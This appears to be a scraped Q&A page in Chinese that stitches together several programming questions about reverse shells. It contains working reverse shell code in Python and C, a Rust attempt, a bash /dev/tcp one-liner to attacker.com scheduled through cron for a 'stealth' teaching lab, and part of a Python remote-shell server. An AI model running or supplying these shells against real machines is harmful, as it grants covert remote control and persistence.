Python 中的反向 shell 脚本通常如下所示:
import socket, subprocess, os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect((\"192.168.1.3\", 6666));
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);
p=subprocess.call([\"/bin/sh\", \"-i\"]);
Run Code Online (Sandbox Code Playgroud)
我试图用 Rust 复制这个过程:
let mut stream = std::net::TcpStream::connect("192.168.1.3:6666").unwrap();
Run Code Online (Sandbox Code Playgroud)
我只获得了与我的主机的 TCP 连接,并使用 netcat ( nc -l -p 6666) 进行侦听。如果我理解正确,我需要通过套接字重定向标准输入、输出和错误,然后以某种方式“调用” /bin/sh。
如何用 Rust 编写这个反向 shell 脚本?
我遇到了这个用 c 编写的反向 shell 代码。
main(){
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in sock_addr;
sock_addr.sin_family = AF_INET;
sock_addr.sin_port = htons(8080);
sock_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
connect(sock, (struct sockaddr *)&sock_addr, sizeof(struct sockaddr_in));
dup2(sock, STDIN_FILENO);
dup2(sock, STDOUT_FILENO);
dup2(sock, STDERR_FILENO);
execl("/bin/sh", NULL);
}
Run Code Online (Sandbox Code Playgroud)
我想理解它,所以我了解了文件描述符,因为使用了 dup2。现在的问题是我不明白为什么。
套接字的手册页让我假设 stdin、stdout 和 stderr 正在被套接字取代。
[...] 成功调用返回的文件描述符将是当前未为进程打开的最小编号的文件描述符。
这个假设是真的吗?如果是,为什么要重置默认流?是否是因为以下 execl("/bin/sh", NULL) 行,正如该线程所暗示的那样?
我在一所大学教授网络安全,并正在编写有关Netcat和反向Shell的实验室。我创建了一个cron作业,该作业运行一个连接到我的侦听器的脚本。很好 问题是指纹过多,可以删除脚本。实验室的一部分内容是进行隐身操作(例如在输入的任何命令前都留一个空格)。
我正在尝试执行此命令。现在的频率并不重要,尽管最终它将在启动时每30分钟运行一次。
/bin/bash -i >& /dev/tcp/attacker.com/5326 0>&1
Run Code Online (Sandbox Code Playgroud)
从命令行运行时,该命令将起作用,并建立反向外壳。我不想使用端口80,因为我DO想,如果一个学生决定尝试一些愚蠢此受阻。另外,下一个实验也在iptables上以阻止此端口。
我试过引号。我试过了sudo。末尾加双“&”号。末尾有单个“&”号。/ tcp /路径的进一步限定。我认为我不需要建立它从哪个tty会话运行(那很难)。在任何情况下,cron-run命令都不会成功。
crontab -l
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day …Run Code Online (Sandbox Code Playgroud) 我目前正在创建一个基于 TCP 的反向 shell(客户端位于远程计算机上,连接到本地服务器),它既可以发送和接收文件,也可以通过 TCP 发送 shell 命令。这些程序在大多数情况下在其他方面(例如,接收和发送命令、服务器接收文件)都工作得很好,直到我尝试从服务器向客户端发送大文件(我记得大于 1 kb)为止。发生的情况是,当我尝试发送大文件时,服务器完成发送后,客户端因某种原因崩溃。我什至看不到错误消息。我尝试通过在客户端显示接收到的内容来调试它,但它似乎接收良好,但立即崩溃。我将为那些想要提供帮助的人附上客户端代码和服务器代码。该代码有点奇怪,因为我在第一次调试期间添加了一些“标志”。谢谢。
服务器代码:
import socket, pickle, time, os
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
address = 'localhost'
port = 1024
server.bind((address, port))
server.listen(5)
c, addr = server.accept()
file_list = {}
print'connection from: '+str(addr)
print'remote shell can only be used for utility purpose, when switching dirve, use "//" between cd and address'
os.chdir("C:/Users/Insert_Name/Desktop/Server")
while True:
command = raw_input(str(addr)+'>>')
if command == 't':
c.send(command)
cile_list = c.recv(1024)
cile_lista = pickle.loads(cile_list)
for key, value in cile_lista.iteritems():
if …Run Code Online (Sandbox Code Playgroud)